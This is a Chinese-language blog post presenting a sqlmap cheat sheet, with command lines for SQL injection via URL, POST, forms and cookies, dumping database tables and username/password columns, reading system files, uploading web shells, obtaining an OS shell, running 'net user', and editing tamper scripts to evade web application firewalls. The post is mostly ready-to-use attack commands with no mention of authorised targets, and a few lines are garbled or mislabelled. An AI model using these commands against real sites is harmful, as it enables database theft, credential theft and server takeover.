美文网首页
SQLmap介绍

SQLmap介绍

作者: _Beginner | 来源:发表于2020-04-01 17:31 被阅读0次

一.本文介绍

1、本文介绍SQLmap常用命令、获取webshell。


二.常用命令

1、最常用URL注入语句

sqlmap.py -u URL --level=LEVEL    执行测试的等级(1-5,默认为1),使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。

- -risk=RISK      执行测试的风险(0-3,默认为1),默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。

-v  VERBOSE信息级别: 0-6 (缺省1),其值具体含义:“0”只显示python错误以及严重的信息;1同时显示基本信息和警告信息(默认);“2”同时显示debug信息;“3”同时显示注入的payload;“4”同时显示HTTP请求;“5”同时显示HTTP响应头;“6”同时显示HTTP响应页面;如果想看到sqlmap发送的测试payload最好的等级就是3。

-p 后面接参数,指定参数注入(如:D:\VStart50\tools\注入检测\sqlmap>sqlmap.py -u URL -p id)

--threads  使用该参数指定Sqlmap可以达到的最大并发数。从性能和网站承受能力两方面考虑最大并发数不要超过10。

2、批量注入 sqlmap.py -m oldboy.txt

3、模拟测试手机环境站点 sqlmap.py -u”URL” --mobile

4、智能判断测试  sqlmap.py -u “URL“ -batch-smart

5、post注入 sqlmap.py -r burpsuite抓包.txt

6、指定参数注入 sqlmap.py -r post.txt -p 注入参数

7、指定表单注入 sqlmap.py -u URL –data“username=a&password=a”

2、sqlmap自动填写表单注入

sqlmap.py -u URL --forms

sqlmap.py -u URL –forms  --dbs  //默认情况系sqlmap会自动的探测web应用后端的数据库类型:MySQL、Oracle、PostgreSQL、MicrosoftSQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAPMaxDB、DB2

--current-user:大多数数据库中可检测到数据库管理系统当前用户

--current-db:当前连接数据库名

--is-dba:判断当前的用户是否为管理

--users:列出数据库所有所有用户

sqlmap.py -u URL --dbs

sqlmap.py -u URL --current-db

sqlmap.py -u URL -D 数据库名称 --tables

sqlmap.py -u URL  -D 数据库名称 -T 表名 --columns

sqlmap.py -u URL  -D 数据库名称 -T 表名 -C username,password --dump

3、sqlmap cookies注入

sqlmap.py -u “http://127.0.0.1/base.PHP“–cookies “ant[uname]=admin″  –dbs  --level 2

默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。可以通过burpsuite等工具获取当前的cookie值,然后进行注入:

sqlmap.py -u 注入点URL --cookie "id=xx" --level 3

sqlmap.py -u url --cookie "id=xx"--level 3 --tables(猜表名)

sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 --coiumns

sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 -C username,password --dump

4、扩展命令执行

1、sqlmap.py-u “url” --file-read /etc/password

2、sqlmap.py -u “url” --os-cmd="net user” /*执行net user命令*/

3、sqlmap.py -u “url” --os-shell        /*系统交互的shell*/

C:/php/htdocs/sql.php

4、sqlmap.py -u”http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther“ --file-read “C:/example.exe” -v 1

5、python sqlmap.py -u”URL” --file-write  "c:/1.txt” --file-dest “C:/php/htdocs/444.php” -v1    /*将/software/nc.exe文件上传到C:/WINDOWS/Temp下*/

5、SQLMAP突破Waf

1. mysql的注释方法进行绕过WAF进行SQL注入

(1)修改C:\Python27\sqlmap\tamper\halfversionedmorekeywords.py

return match.group().replace(word,”/*!0%s” % word) 为:

return match.group().replace(word,”/*!50000%s*/” % word)

(2)修改C:\Python27\sqlmap\xml\queries.xml

<cast query=”CAST(%s ASCHAR)”/>为:

<castquery=”convert(%s,CHAR)”/>

(3)使用sqlmap进行注入测试

sqlmap.py -u”http://**.com/detail.php? id=16″ –tamper “halfversionedmorekeywords.py”

其它绕过waf脚本方法:

sqlmap.py-u “http://192.168.136.131/sqlmap/mysql/get_int.php?id=1” --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3


三.执行命令/获取shell

1、查数据库:

Sqlmap -u URL --dbs

2、查TestDB中的表:

Sqlmap -u URL -D TestDB --tables

3、查字段:

Sqlmap -u URL  -D TestDB -T dbo.Admin --columns

4、脱库:

sqlmap.py -u URL  -D TestDB -T dbo.Admin -C id,name,password--dump

5、下载:

sqlmap.py -u  URL --file-read "c:/2.txt" -v1

6、上传:

sqlmap.py -u URL  --file-write"本地文件\2.txt" --file-dest"远程路径\1.asp" -v1

7、命令执行操作:

sqlmap.py -u URL --os-shell ;sqlmap.py -u URL --os-cmd="net user" 

相关文章

网友评论

      本文标题:SQLmap介绍

      本文链接:https://www.haomeiwen.com/subject/ckfouhtx.html